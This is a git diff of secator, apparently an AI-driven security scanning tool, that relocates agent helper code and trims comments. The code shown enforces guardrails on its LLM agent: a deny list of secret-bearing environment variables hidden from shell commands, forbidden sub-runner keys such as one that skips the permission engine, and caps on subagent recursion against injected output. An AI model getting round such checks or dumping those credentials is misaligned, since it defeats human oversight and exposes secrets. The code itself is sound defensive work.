traceback frames so - the model can see *where* it failed, then truncates to a sane length so a - deep traceback can't blow up the next prompt's token budget. - """ - import traceback - - errtype = type(e).__name__ - msg = str(e) - head = f"{errtype}: {msg}" if msg else errtype - - # Keep only the tail of the traceback (last ~3 frames) — that's where the - # actual failure is, and it keeps the feedback compact. - tb_lines = traceback.format_exc().strip().splitlines() - tb_tail = "\n".join(tb_lines[-6:]) if tb_lines else "" - - detail = f"{head}\n{tb_tail}" if tb_tail else head - detail = _truncate(detail, max_chars) - return ( - f"Action failed with error: {detail}\n" - "Fix the issue and try again." - ) - - def safe_dispatch_action(action: Dict, ctx: ActionContext) -> Generator: """Dispatch a single action, converting any raised ``Exception`` into an ``Error`` output item instead of letting it abort the AI loop. @@ -424,68 +358,6 @@ def safe_dispatch_action(action: Dict, ctx: ActionContext) -> Generator: ) -_HEAVY_PROFILES = {'large', 'extra_large'} - - -def _is_heavy_runner(runner_type: str, name: str, opts: dict = None) -> bool: - """Whether a sub-runner is too heavy to run sync in-process inside the ai worker. - - Workflows/scans fan out across multiple pools, so they should always be - dispatched rather than run in-process. A task is heavy if its (possibly - opts-dependent) profile maps to a large worker pool (``large``/``extra_large``). - """ - if runner_type != 'task': - return True - try: - cls = Task.get_task_class(name) - except Exception: - return False - profile = getattr(cls, 'profile', 'small') - if callable(profile): - try: - profile = profile(opts or {}) # resolve dynamic profile (mirrors Command.s/si) - except Exception: - return True # can't resolve — be conservative and dispatch - return profile in _HEAVY_PROFILES - - -# Framework control/security keys the LLM must never set on a spawned sub-runner -# (esp. `dangerous`, which skips the permission engine). Task/workflow scan opts -# (nmap ports, httpx rate_limit, ...) are not control keys and pass through. -_FORBIDDEN_CHILD_OPT_KEYS = frozenset({ - "dangerous", - "interactive", - "hooks", - "sync", - "subagent", - "tty", - "dry_run", - "exporters", - "enable_reports", -}) - -# Cap a spawned subagent's iteration budget so it can't be told to loop unbounded. -_MAX_CHILD_ITERATIONS = 25 - -# H4: bound recursive AI-subagent fan-out so injected output can't drive an -# exponential subagent/token blow-up. Depth caps recursion (child inherits +1 via -# context); breadth caps how many subagents one parent turn may spawn. -_MAX_SUBAGENT_DEPTH = 3 -_MAX_SUBAGENTS_PER_TURN = 5 -_SUBAGENT_TURN_LOCK = threading.Lock() - -# M1: cap shell stdout/stderr before it enters AI history so a command emitting -# megabytes can't blow up the next prompt's token budget / memory. Larger than the -# 400-char error cap because successful output carries more useful signal; head+tail -# so the model still sees the start AND the final lines (often the result/error). -_MAX_SHELL_OUTPUT_CHARS = 4000 - -# Cap on ad-hoc AI shell commands (dispatched as the `command` task). Applied as an -# instance attribute post-construction (see _handle_shell) since max_timeout is not a -# run_opts-settable field. -_SHELL_TIMEOUT = 60 - - def _guard_subagent_fanout(ctx: "ActionContext", context: Dict) -> Optional["Warning"]: """H4: cap AI-subagent recursion depth + per-turn fan-out. @@ -515,45 +387,6 @@ def _guard_subagent_fanout(ctx: "ActionContext", context: Dict) -> Optional["War return None -def _sanitize_child_opts(opts: Any) -> Dict: - """Drop LLM-settable control/security keys from sub-runner opts; clamp max_iterations.""" - if not isinstance(opts, dict): - return {} - clean = {} - for key, value in opts.items(): - k = str(key) - if k in _FORBIDDEN_CHILD_OPT_KEYS or k.startswith("print_"): - continue - clean[key] = value - # Clamp the AI-subagent iteration budget (bool is an int subclass — drop it). - mi = clean.get("max_iterations") - if isinstance(mi, bool): - clean.pop("max_iterations", None) - elif isinstance(mi, (int, float)): - clean["max_iterations"] = max(1, min(int(mi), _MAX_CHILD_ITERATIONS)) - elif mi is not None: - clean.pop("max_iterations", None) - return clean - - -def build_subagent_prompt(objective: str, targets: list, evidence: str) -> str: - """Wrap the LLM-supplied subagent objective in a structured prompt. - - The `objective` is used verbatim (the parent LLM's intent). `targets` scopes - the work; `evidence` (auto-gathered, may be empty) is prior findings the - subagent should NOT re-discover. - """ - targets_str = ", ".join(str(t) for t in targets) if targets else "(inherit parent scope)" - evidence_block = evidence.strip() if evidence.strip() else "(none — no prior findings for this scope)" - return ( - f"## Objective\n{objective.strip() or '(no explicit objective given)'}\n\n" - f"## Scope\nWork ONLY within these target(s): {targets_str}\n\n" - f"## Already known (do not re-run tools that would re-discover these)\n{evidence_block}\n\n" - f"## Expected output\nInvestigate the objective, then report your findings concisely. " - f"Persist any new findings; do not repeat work already listed under 'Already known'." - ) - - def _gather_subagent_evidence(ctx: "ActionContext", targets: list, limit: int = 40) -> str: """Auto-assemble prior findings for the subagent's targets so it doesn't redo work. @@ -603,11 +436,9 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator return opts["subagent"] = True opts["interactive"] = False - # Inherit the parent's resolved LLM config so the subagent can actually run. - # Without this it falls back to CONFIG.addons.ai.default_model, which may be a - # different provider than the parent (e.g. anthropic-direct vs openrouter) with - # no key set -> AuthenticationError before the subagent does anything. setdefault - # so an explicit LLM-supplied model/key still wins. + # Inherit the parent's resolved LLM config (else it falls back to the default + # model/provider with no key set -> AuthenticationError). setdefault so an + # explicit LLM-supplied model/key still wins. opts.setdefault("model", ctx.model) if ctx.api_key: opts.setdefault("api_key", ctx.api_key) @@ -653,11 +484,8 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator run_opts["print_start"] = not ctx.silent and not ctx.subagent run_opts["print_end"] = not ctx.silent and not ctx.subagent - # A heavy sub-task must NOT run sync in-process inside the ai task's own worker: - # the ai pool is small (e.g. the warm small-fast pool, ~1Gi) and a tool like - # nuclei (profile 'extra_large') OOM-kills it. When running inside a worker, - # dispatch heavy sub-runners async to their own profile's queue — the ai still - # waits by iterating the results. Local (non-worker) runs keep sync in-process. + # A heavy sub-task (e.g. nuclei) must not run sync in the ai task's small worker + # pool (OOM risk) — dispatch it async to its own profile's queue when in a worker. if run_opts.get("sync") and _is_heavy_runner(runner_type, name, opts): from secator.celery import IN_WORKER if IN_WORKER: @@ -668,11 +496,8 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator if ctx.subagent: context["subagent"] = ctx.context.get("subagent", True) - # Propagate the ai task's driver hooks (mongodb/api) into the sub-runner. - # The context already carries workspace_id/workspace_name/drivers (see - # _get_result_context), but a sync sub-runner never goes through the pickle - # path that re-registers driver hooks — so without this its results would - # persist with no workspace scope and never appear in the workspace History. + # Propagate driver hooks (mongodb/api): a sync sub-runner skips the pickle path + # that normally re-registers them, so without this its results never persist. # M2: don't silently spawn a persistence-less child when the parent has drivers hooks, denial = _build_child_hooks_or_denial(context) if denial is not None: @@ -684,16 +509,9 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator yield Error(message=str(e), _context=context) return - # Emit the action Ai item now that the runner exists: its on_init hook has - # stamped the runner id into context, so we can surface it on the item - # (extra_data.runner_id/runner_type) for the UI to link to a RunnerCard. - # Emit even when silent (batch mode): silent only suppresses live console - # chatter, but the action doc must still be yielded so it is persisted and - # the UI can render a RunnerCard for it. - # Prefer the context id (`{type}_id`) the on_init hook stamped — that IS the - # persisted runner doc's `_id`, which is what the UI's getRunner queries. - # `runner.id` is secator's internal id and does NOT match the persisted doc, - # so the RunnerCard showed "Runner not found". + # Emit the action Ai item now the runner exists (on_init stamped the runner id) so + # the UI can render a RunnerCard; always emitted, even when silent. Prefer context + # `{type}_id` (the persisted doc's `_id`) over `runner.id` (internal, doesn't match). runner_id = context.get(f"{runner_type}_id", "") or runner.id yield Ai( content=name, @@ -786,22 +604,13 @@ def _handle_shell(action: Dict, ctx: ActionContext) -> Generator: yield denial return - # _build_child_hooks_or_denial returns a CLASS-keyed dict ({Scan:{}, Workflow:{}, - # Task:{on_init:[...], on_end:[...], ...}}). The generic Task wrapper forwards - # self._hooks.get(Task, {}) down to its command signature, but we bypass the - # wrapper with direct `command(...)` instantiation, so we must extract the - # Task-level (name-keyed) sub-dict ourselves. Without this, register_hooks - # resolves hooks via hooks.get(command)/hooks.get('on_init') — neither key exists - # in a class-keyed dict — so the mongodb update_runner/on_build hooks never fire - # and the runner doc is silently never persisted (command runs SUCCESS, no doc). + # hooks is CLASS-keyed ({Task: {...}}); we bypass the Task wrapper with a direct + # `command(...)` instantiation, so extract hooks[Task] ourselves — else register_hooks + # finds no match and the runner doc is silently never persisted (no error, no doc). hooks = hooks.get(Task, {}) - # Run opts mirroring _run_runner's wiring: quiet unless the caller wants - # console chatter, reports enabled (findings flow through the normal - # pipeline), never dangerous (defense in depth). `env` is the sanitized - # process env so an AI-run `env`/`printenv` can't leak the LLM key / cloud - # creds into output that reaches the LLM + Mongo (honored via the `env` - # run_opt added to Command.yielder). + # Mirrors _run_runner's wiring: quiet, reports enabled, never dangerous (defense + # in depth). `env` is the sanitized process env so `env`/`printenv` can't leak secrets. run_opts = { "print_item": not ctx.silent, "print_line": ctx.verbose and not ctx.silent, @@ -815,24 +624,9 @@ def _handle_shell(action: Dict, ctx: ActionContext) -> Generator: "env": _sanitized_env(), } - # Instantiate the concrete `command` task directly (NOT the generic Task - # wrapper). The wrapper's sync path runs a throwaway inner instance inside - # secator.celery.run_command and returns only the structured results, so the - # outer wrapper's `.output` stays empty. A direct instance runs the command - # in-process and keeps its captured stdout on `.output`, while still firing - # the on_init/on_start/on_end driver hooks so the runner doc persists (with - # output/status/session_id) parented under the conversation. - # - # NOTE: `command` (a Command subclass) takes **run_opts, not a `run_opts=` - # kwarg — passing `run_opts=` would nest it and silently drop `env` (and every - # other opt). Spread it, keeping hooks/context as their own kwargs (both are - # popped by Command.__init__). - # - # Imported locally (not at module top): a top-level `from secator.tasks...` - # forces secator.tasks/__init__ to run discover_tasks() while secator.ai.actions - # is still being imported, which drops the `ai` task from discovery (circular - # import). The function-level import defers it to call time, after all modules - # are loaded. + # Instantiate `command` directly (bypasses the Task wrapper, which discards `.output`) + # so stdout survives while persist hooks still fire. Spread **run_opts, not `run_opts=` + # (would nest and drop `env`); import locally to avoid a circular import. from secator.tasks.command import command as CommandTask runner = CommandTask([command], hooks=hooks, context=context, **run_opts) @@ -854,10 +648,9 @@ def _handle_shell(action: Dict, ctx: ActionContext) -> Generator: _context=context, ) - # Run to completion in-process — this fires the persist hooks (on_start/ - # on_end) exactly like a dispatched task/workflow. Do NOT `yield from - # runner`: the command's raw stdout lines are not surfaced as separate - # transcript items — the single shell_output below is the contract. + # Run to completion in-process (fires persist hooks like a normal task/workflow). + # Do NOT `yield from runner` — raw stdout lines aren't separate transcript items; + # the single shell_output below is the contract. runner.run() output = _truncate(runner.output or "(no output)", _MAX_SHELL_OUTPUT_CHARS) # M1: cap so it can't blow up history @@ -867,31 +660,6 @@ def _handle_shell(action: Dict, ctx: ActionContext) -> Generator: yield Error(message=f"Shell command failed: {e}", _context=context) -def _union_live_results(persisted: List[Dict], live_results: List[Dict], query_filter: Dict, limit: int) -> List[Dict]: - """Union backend results with this run's in-memory findings (local driver only). - - The live findings are filtered by the SAME query via an in-memory json backend, - then merged into the backend (disk) results and deduped by ``_uuid`` (backend wins), - respecting ``limit``. Makes query_workspace the single source of truth under the - local driver, whose JSON exporter only writes to disk at end-of-run. - """ - if not live_results: - return persisted - from secator.query import QueryEngine - # workspace_id "" + a `results` context => an in-memory json backend that filters - # the provided results by the query (no disk access). - live = QueryEngine("", context={"results": live_results}).search(query_filter, limit=limit or 0) - seen = {r.get("_uuid") for r in persisted if r.get("_uuid")} - for r in live: - u = r.get("_uuid") - if u and u in seen: - continue - persisted.append(r) - if u: - seen.add(u) - return persisted[:limit] if limit else persisted - - def _handle_query(action: Dict, ctx: ActionContext) -> Generator: """Query workspace or current results for findings. @@ -910,12 +678,8 @@ def _handle_query(action: Dict, ctx: ActionContext) -> Generator: except (TypeError, ValueError): limit = 100 - # The query_workspace tool schema declares `query` as an object, but some - # models/providers serialize it as a JSON *string* (a known tool-calling - # quirk). Coerce a stringified query back to a dict so the tool works - # regardless of the provider, mirroring the add_finding scalar coercion. - # On a genuinely malformed query, return a clear error the LLM can act on - # instead of crashing _decrypt_dict/search on a non-dict. + # Some providers serialize `query` as a JSON string despite the object schema + # (known tool-calling quirk); coerce it back, else fail with a clear LLM error. if isinstance(query_filter, str): try: query_filter = json.loads(query_filter) @@ -950,10 +714,8 @@ def _handle_query(action: Dict, ctx: ActionContext) -> Generator: try: query_str = json.dumps(query_filter, separators=(',', ':')) results = engine.search(query_filter, limit=limit) - # Local driver: the JSON exporter writes findings to disk only at end-of-run, - # so the backend can't see THIS run's live findings mid-run. Union the in-memory - # run results so query_workspace is the single source of truth. Other backends - # (mongodb/api) persist live via hooks, so they are queried normally (no union). + # Local driver only writes to disk at end-of-run, so union in-memory live results + # to make query_workspace the source of truth (mongodb/api persist live already). if is_local and ctx.scope != "current": results = _union_live_results(results, ctx.results or [], query_filter, limit) yield Ai( @@ -1005,106 +767,6 @@ def _handle_stop(action: Dict, ctx: ActionContext) -> Generator: yield Ai(content=reason, ai_type="stopped", _context=context) -def _resolve_field_type(f) -> Optional[type]: - """Resolve a dataclass field's declared type to a concrete builtin type. - - Mirrors ``OutputType.validate_fields``: ``f.type`` may be an actual type - (``bool``) or — under ``from __future__ import annotations`` — a string - annotation (``'bool'``). Returns the concrete type (``bool``/``int``/ - ``float``/``list``/``dict``/``str``) or ``None`` if it can't be resolved. - """ - t = f.type - # Actual type, e.g. bool / int / float / str - if isinstance(t, type): - return t - # Typing generic, e.g. List[str] -> list - origin = getattr(t, '__origin__', None) - if origin is not None: - return origin - # String annotation, e.g. 'bool', 'int', "List[str]" - if isinstance(t, str): - name = t.split('[', 1)[0].strip().lower() - return { - 'bool': bool, 'int': int, 'float': float, - 'str': str, 'list': list, 'dict': dict, - }.get(name) - return None - - -def _coerce_finding_fields(cls, data: Dict) -> Dict: - """Coerce AI-provided scalar values to a finding class's declared field types. - - LLMs frequently emit wrong-typed scalars (a ``bool`` field as the string - ``"true"``, an ``int`` as ``"3"``). This fixes *obvious* type mismatches - before validation so the finding isn't rejected for model type sloppiness. - - Only coerces when safe; unknown keys, already-correct values, and - unparseable values are left untouched (validation will still surface a real - error rather than silently dropping data). - """ - field_types = {f.name: _resolve_field_type(f) for f in fields(cls)} - for key, value in list(data.items()): - if key.startswith('_'): - continue - expected = field_types.get(key) - if expected is None or value is None: - continue - # Already the right type (note: bool is a subclass of int, so guard it). - if isinstance(value, expected) and not (expected is int and isinstance(value, bool)): - continue - - if expected is bool: - if isinstance(value, bool): - continue - if isinstance(value, int): - data[key] = bool(value) - elif isinstance(value, str): - s = value.strip().lower() - if s in ('true', '1', 'yes', 'on'): - data[key] = True - elif s in ('false', '0', 'no', 'off', ''): - data[key] = False - elif expected is int: - # Avoid coercing real bools into ints. - if isinstance(value, bool): - continue - if isinstance(value, float): - if value.is_integer(): - data[key] = int(value) - elif isinstance(value, str): - try: - data[key] = int(value) - except ValueError: - try: - f_val = float(value) - if f_val.is_integer(): - data[key] = int(f_val) - except ValueError: - pass - elif expected is float: - if isinstance(value, bool): - continue - if isinstance(value, int): - data[key] = float(value) - elif isinstance(value, str): - try: - data[key] = float(value) - except ValueError: - pass - elif expected is list: - if isinstance(value, str): - s = value.strip() - if s.startswith('['): - try: - parsed = json.loads(s) - if isinstance(parsed, list): - data[key] = parsed - except (json.JSONDecodeError, TypeError): - pass - # str fields: leave as-is (don't stringify); unknown types: leave untouched. - return data - - def _handle_add_finding(action: Dict, ctx: ActionContext) -> Generator: """Create a secator finding from LLM-provided data. @@ -1184,26 +846,6 @@ def _handle_add_finding(action: Dict, ctx: ActionContext) -> Generator: yield Error(message=f"Failed to create {finding_type}: {e}\nExpected schema:\n{cls.schema()}", _context=context) -def _get_action_label(action: Dict) -> str: - """Get a display label for an action.""" - act_type = action.get("action", "unknown") - if act_type in ("task", "workflow"): - name = action.get("name", "?") - opts = action.get("opts", {}) - # Defensive: a model may stringify `opts` (coerced at the tool-call boundary, - # but a malformed value can survive as a str) — never crash a display label. - session_name = opts.get("session_name", "") if isinstance(opts, dict) else "" - if session_name: - return session_name - targets = action.get("targets", []) - target_str = targets[0] if len(targets) == 1 else f"{len(targets)} targets" - return f"{name} on {target_str}" - elif act_type == "shell": - cmd = action.get("command", "")[:40] - return f"shell: {cmd}" - return act_type - - def _run_batch(actions: List[Dict], ctx: ActionContext) -> Generator: """Execute multiple actions in parallel with Rich progress display. @@ -1256,10 +898,8 @@ def _run_batch(actions: List[Dict], ctx: ActionContext) -> Generator: progress_ids = {} def run_single(act: Dict, idx: int) -> Dict: - # Use safe_dispatch_action so one action raising doesn't abort the whole - # batch (the executor future.result() would otherwise re-raise into the - # main loop). The error is captured as an Error item attributed to that - # action's tool_call_id and fed back to the LLM like any other result. + # safe_dispatch_action so one action raising doesn't abort the batch — the + # error becomes an Error item (tagged with tool_call_id) fed back to the LLM. results = [] for item in safe_dispatch_action(act, batch_ctx): if isinstance(item, Ai) and item.ai_type == "token_usage": @@ -1334,36 +974,3 @@ def get_renderables(self): for idx, result in sorted(all_results, key=lambda x: x[0]): for item in result["results"]: yield item - - -def _decrypt_dict(d: Dict, encryptor: Any) -> Dict: - """Recursively decrypt all string values in a dict. - - Args: - d: Dictionary to decrypt - encryptor: SensitiveDataEncryptor instance - - Returns: - Decrypted dictionary - """ - # Backstop: callers should pass a dict, but a non-dict (e.g. an LLM that - # stringified an object arg) must not raise `.items()` here — return it - # unchanged rather than crash the whole action. - if not isinstance(d, dict): - return d - result = {} - for k, v in d.items(): - if isinstance(v, str): - result[k] = encryptor.decrypt(v) - elif isinstance(v, dict): - result[k] = _decrypt_dict(v, encryptor) - elif isinstance(v, list): - result[k] = [ - encryptor.decrypt(i) if isinstance(i, str) - else _decrypt_dict(i, encryptor) if isinstance(i, dict) - else i - for i in v - ] - else: - result[k] = v - return result diff --git a/secator/ai/utils.py b/secator/ai/utils.py index e564ece3a..6facb5224 100644 --- a/secator/ai/utils.py +++ b/secator/ai/utils.py @@ -1,19 +1,367 @@ # secator/ai/utils.py """Utility functions for AI task - LLM initialization, calling, and response parsing.""" +import json import logging +import os import random -from typing import Dict, List, Optional +from dataclasses import fields +from typing import Any, Dict, List, Optional from secator.definitions import LLM_SPINNER_MESSAGES from secator.config import CONFIG from secator.output_types import Warning, Error from secator.rich import console, maybe_status +from secator.runners import Task from secator.utils import format_token_count # Module-level state for litellm initialization _llm_initialized = False +SENSITIVE_ENV_PREFIXES = ( + "SECATOR_", + "ANTHROPIC_", "OPENAI_", "GOOGLE_", "AZURE_", "AWS_", "GCP_", + "GITHUB_TOKEN", "GITLAB_TOKEN", "SLACK_TOKEN", "DISCORD_TOKEN", + "SECRET_", "TOKEN_", "API_KEY", "PRIVATE_KEY", +) + + +def _sanitized_env() -> dict: + """Return a copy of os.environ with sensitive variables removed. + + Passed as the `env` run_opt to the AI shell `command` runner so an AI-run + `env`/`printenv` can't dump the LLM key + cloud creds into output that flows + back to the LLM and is persisted to Mongo. + """ + return {k: v for k, v in os.environ.items() + if not any(k.startswith(p) for p in SENSITIVE_ENV_PREFIXES) + and "KEY" not in k and "SECRET" not in k and "TOKEN" not in k and "PASSWORD" not in k} + + +def _build_action_display(action: Dict) -> str: + """Build a display string for the action being checked. + + Returns a concise description of the command/task/workflow for prompt context. + """ + action_type = action.get("action", "") + if action_type == "shell": + return action.get("command", "") + elif action_type in ("task", "workflow"): + name = action.get("name", "") + targets = action.get("targets", []) + opts = action.get("opts", {}) + parts = [f"{action_type}: {name}"] + if targets: + parts.append(f"targets={targets}") + if opts: + parts.append(f"opts={opts}") + return " ".join(parts) + return "" + + +def _is_approved(response) -> bool: + # Explicit allow-list: only a normalized "allow" answer approves. None, "deny", + # or any unexpected token denies (fail closed) — so a new backend or a refactored + # answer vocabulary can't silently approve via a "not deny" gap. + return bool(response) and response.get("answer") == "allow" + + +def _truncate(text: str, max_chars: int) -> str: + """Cap ``text`` to ~``max_chars``, keeping head + tail so both the start and the + final lines survive, with a clear marker for the dropped middle. Short text is + returned unchanged (no marker).""" + if len(text) <= max_chars: + return text + dropped = len(text) - max_chars + half = max_chars // 2 + return f"{text[:half]}\n…(truncated {dropped} chars)…\n{text[-(max_chars - half):]}" + + +def _format_action_error(e: Exception, max_chars: int = 400) -> str: + """Build a concise, LLM-facing error string for a failed action dispatch. + + Combines the exception type + message with the last few traceback frames (that's + where the actual failure is) so the model can see *where* it failed, then + truncates so a deep traceback can't blow up the next prompt's token budget. + """ + import traceback + + errtype = type(e).__name__ + msg = str(e) + head = f"{errtype}: {msg}" if msg else errtype + + tb_lines = traceback.format_exc().strip().splitlines() + tb_tail = "\n".join(tb_lines[-6:]) if tb_lines else "" + + detail = f"{head}\n{tb_tail}" if tb_tail else head + detail = _truncate(detail, max_chars) + return ( + f"Action failed with error: {detail}\n" + "Fix the issue and try again." + ) + + +_HEAVY_PROFILES = {'large', 'extra_large'} + + +def _is_heavy_runner(runner_type: str, name: str, opts: dict = None) -> bool: + """Whether a sub-runner is too heavy to run sync in-process inside the ai worker. + + Workflows/scans fan out across multiple pools, so they should always be + dispatched rather than run in-process. A task is heavy if its (possibly + opts-dependent) profile maps to a large worker pool (``large``/``extra_large``). + """ + if runner_type != 'task': + return True + try: + cls = Task.get_task_class(name) + except Exception: + return False + profile = getattr(cls, 'profile', 'small') + if callable(profile): + try: + profile = profile(opts or {}) # resolve dynamic profile (mirrors Command.s/si) + except Exception: + return True # can't resolve — be conservative and dispatch + return profile in _HEAVY_PROFILES + + +# Framework control/security keys the LLM must never set on a spawned sub-runner +# (esp. `dangerous`, which skips the permission engine). Task/workflow scan opts +# (nmap ports, httpx rate_limit, ...) are not control keys and pass through. +_FORBIDDEN_CHILD_OPT_KEYS = frozenset({ + "dangerous", + "interactive", + "hooks", + "sync", + "subagent", + "tty", + "dry_run", + "exporters", + "enable_reports", +}) + +# Cap a spawned subagent's iteration budget so it can't be told to loop unbounded. +_MAX_CHILD_ITERATIONS = 25 + + +def _sanitize_child_opts(opts: Any) -> Dict: + """Drop LLM-settable control/security keys from sub-runner opts; clamp max_iterations.""" + if not isinstance(opts, dict): + return {} + clean = {} + for key, value in opts.items(): + k = str(key) + if k in _FORBIDDEN_CHILD_OPT_KEYS or k.startswith("print_"): + continue + clean[key] = value + # Clamp the AI-subagent iteration budget (bool is an int subclass — drop it). + mi = clean.get("max_iterations") + if isinstance(mi, bool): + clean.pop("max_iterations", None) + elif isinstance(mi, (int, float)): + clean["max_iterations"] = max(1, min(int(mi), _MAX_CHILD_ITERATIONS)) + elif mi is not None: + clean.pop("max_iterations", None) + return clean + + +def build_subagent_prompt(objective: str, targets: list, evidence: str) -> str: + """Wrap the LLM-supplied subagent objective in a structured prompt. + + The `objective` is used verbatim (the parent LLM's intent). `targets` scopes + the work; `evidence` (auto-gathered, may be empty) is prior findings the + subagent should NOT re-discover. + """ + targets_str = ", ".join(str(t) for t in targets) if targets else "(inherit parent scope)" + evidence_block = evidence.strip() if evidence.strip() else "(none — no prior findings for this scope)" + return ( + f"## Objective\n{objective.strip() or '(no explicit objective given)'}\n\n" + f"## Scope\nWork ONLY within these target(s): {targets_str}\n\n" + f"## Already known (do not re-run tools that would re-discover these)\n{evidence_block}\n\n" + f"## Expected output\nInvestigate the objective, then report your findings concisely. " + f"Persist any new findings; do not repeat work already listed under 'Already known'." + ) + + +def _union_live_results(persisted: List[Dict], live_results: List[Dict], query_filter: Dict, limit: int) -> List[Dict]: + """Union backend results with this run's in-memory findings (local driver only). + + The live findings are filtered by the SAME query via an in-memory json backend, + then merged into the backend (disk) results and deduped by ``_uuid`` (backend wins), + respecting ``limit``. Makes query_workspace the single source of truth under the + local driver, whose JSON exporter only writes to disk at end-of-run. + """ + if not live_results: + return persisted + from secator.query import QueryEngine + # workspace_id "" + a `results` context => an in-memory json backend that filters + # the provided results by the query (no disk access). + live = QueryEngine("", context={"results": live_results}).search(query_filter, limit=limit or 0) + seen = {r.get("_uuid") for r in persisted if r.get("_uuid")} + for r in live: + u = r.get("_uuid") + if u and u in seen: + continue + persisted.append(r) + if u: + seen.add(u) + return persisted[:limit] if limit else persisted + + +def _resolve_field_type(f) -> Optional[type]: + """Resolve a dataclass field's declared type to a concrete builtin type. + + Mirrors ``OutputType.validate_fields``: ``f.type`` may be an actual type + (``bool``) or — under ``from __future__ import annotations`` — a string + annotation (``'bool'``). Returns the concrete type (``bool``/``int``/ + ``float``/``list``/``dict``/``str``) or ``None`` if it can't be resolved. + """ + t = f.type + # Actual type, e.g. bool / int / float / str + if isinstance(t, type): + return t + # Typing generic, e.g. List[str] -> list + origin = getattr(t, '__origin__', None) + if origin is not None: + return origin + # String annotation, e.g. 'bool', 'int', "List[str]" + if isinstance(t, str): + name = t.split('[', 1)[0].strip().lower() + return { + 'bool': bool, 'int': int, 'float': float, + 'str': str, 'list': list, 'dict': dict, + }.get(name) + return None + + +def _coerce_finding_fields(cls, data: Dict) -> Dict: + """Coerce AI-provided scalar values to a finding class's declared field types. + + LLMs frequently emit wrong-typed scalars (a ``bool`` field as the string + ``"true"``, an ``int`` as ``"3"``). This fixes *obvious* type mismatches + before validation so the finding isn't rejected for model type sloppiness. + + Only coerces when safe; unknown keys, already-correct values, and + unparseable values are left untouched (validation will still surface a real + error rather than silently dropping data). + """ + field_types = {f.name: _resolve_field_type(f) for f in fields(cls)} + for key, value in list(data.items()): + if key.startswith('_'): + continue + expected = field_types.get(key) + if expected is None or value is None: + continue + # Already the right type (note: bool is a subclass of int, so guard it). + if isinstance(value, expected) and not (expected is int and isinstance(value, bool)): + continue + + if expected is bool: + if isinstance(value, bool): + continue + if isinstance(value, int): + data[key] = bool(value) + elif isinstance(value, str): + s = value.strip().lower() + if s in ('true', '1', 'yes', 'on'): + data[key] = True + elif s in ('false', '0', 'no', 'off', ''): + data[key] = False + elif expected is int: + # Avoid coercing real bools into ints. + if isinstance(value, bool): + continue + if isinstance(value, float): + if value.is_integer(): + data[key] = int(value) + elif isinstance(value, str): + try: + data[key] = int(value) + except ValueError: + try: + f_val = float(value) + if f_val.is_integer(): + data[key] = int(f_val) + except ValueError: + pass + elif expected is float: + if isinstance(value, bool): + continue + if isinstance(value, int): + data[key] = float(value) + elif isinstance(value, str): + try: + data[key] = float(value) + except ValueError: + pass + elif expected is list: + if isinstance(value, str): + s = value.strip() + if s.startswith('['): + try: + parsed = json.loads(s) + if isinstance(parsed, list): + data[key] = parsed + except (json.JSONDecodeError, TypeError): + pass + # str fields: leave as-is (don't stringify); unknown types: leave untouched. + return data + + +def _get_action_label(action: Dict) -> str: + """Get a display label for an action.""" + act_type = action.get("action", "unknown") + if act_type in ("task", "workflow"): + name = action.get("name", "?") + opts = action.get("opts", {}) + # Defensive: a model may stringify `opts` (coerced at the tool-call boundary, + # but a malformed value can survive as a str) — never crash a display label. + session_name = opts.get("session_name", "") if isinstance(opts, dict) else "" + if session_name: + return session_name + targets = action.get("targets", []) + target_str = targets[0] if len(targets) == 1 else f"{len(targets)} targets" + return f"{name} on {target_str}" + elif act_type == "shell": + cmd = action.get("command", "")[:40] + return f"shell: {cmd}" + return act_type + + +def _decrypt_dict(d: Dict, encryptor: Any) -> Dict: + """Recursively decrypt all string values in a dict. + + Args: + d: Dictionary to decrypt + encryptor: SensitiveDataEncryptor instance + + Returns: + Decrypted dictionary + """ + # Backstop: callers should pass a dict, but a non-dict (e.g. an LLM that + # stringified an object arg) must not raise `.items()` here — return it + # unchanged rather than crash the whole action. + if not isinstance(d, dict): + return d + result = {} + for k, v in d.items(): + if isinstance(v, str): + result[k] = encryptor.decrypt(v) + elif isinstance(v, dict): + result[k] = _decrypt_dict(v, encryptor) + elif isinstance(v, list): + result[k] = [ + encryptor.decrypt(i) if isinstance(i, str) + else _decrypt_dict(i, encryptor) if isinstance(i, dict) + else i + for i in v + ] + else: + result[k] = v + return result + + def _strip_leading_orphan_tools(messages: List[Dict]) -> int: """Drop leading 'tool' (tool_result) messages with no preceding tool_use. diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 7943a1bd5..8782170a4 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -14,7 +14,7 @@ from secator.runners import PythonRunner from secator.rich import console, maybe_status from secator.ai.actions import ( - ActionContext, check_guardrails, safe_dispatch_action, _run_batch, _decrypt_dict, _build_action_display + ActionContext, check_guardrails, safe_dispatch_action, _run_batch ) from secator.ai.guardrails import PermissionEngine from secator.ai.interactivity import create_backend, RemoteBackend @@ -26,7 +26,7 @@ from secator.ai.tools import build_tool_schemas, tool_call_to_action, coerce_stringified_args, TOOL_SCHEMAS from secator.ai.session import ( save_history, show_session_picker, replay_session, restore_history_from_db, print_session_results) -from secator.ai.utils import call_llm, init_llm, setup_ai, format_llm_status +from secator.ai.utils import call_llm, init_llm, setup_ai, format_llm_status, _decrypt_dict, _build_action_display # D4: high-precision cues for the deterministic mode fast-path. Only unambiguous From 6222ab5b3793d48bdf796e7e39cda0c17fd260d8 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Tue, 7 Jul 2026 23:04:47 +0200 Subject: [PATCH 120/129] refactor(ai): trim verbose comments/docstrings across the AI module MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Comment/docstring-only cleanup (no logic change) per the 'no 5-line comments' rule — collapse multi-line comment blocks + rambling docstrings to 1-3 lines, keeping the essential why + hardening tags (H*/M*/C*/D*). ~574 lines removed across tasks/ai.py, guardrails.py, session/interactivity/history/tools/prompts/ encryption, command.py. 497 AI unit tests pass, flake8 secator/ clean. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/ai/encryption.py | 31 +---- secator/ai/guardrails.py | 249 ++++++++---------------------------- secator/ai/history.py | 192 ++++++--------------------- secator/ai/interactivity.py | 94 ++++---------- 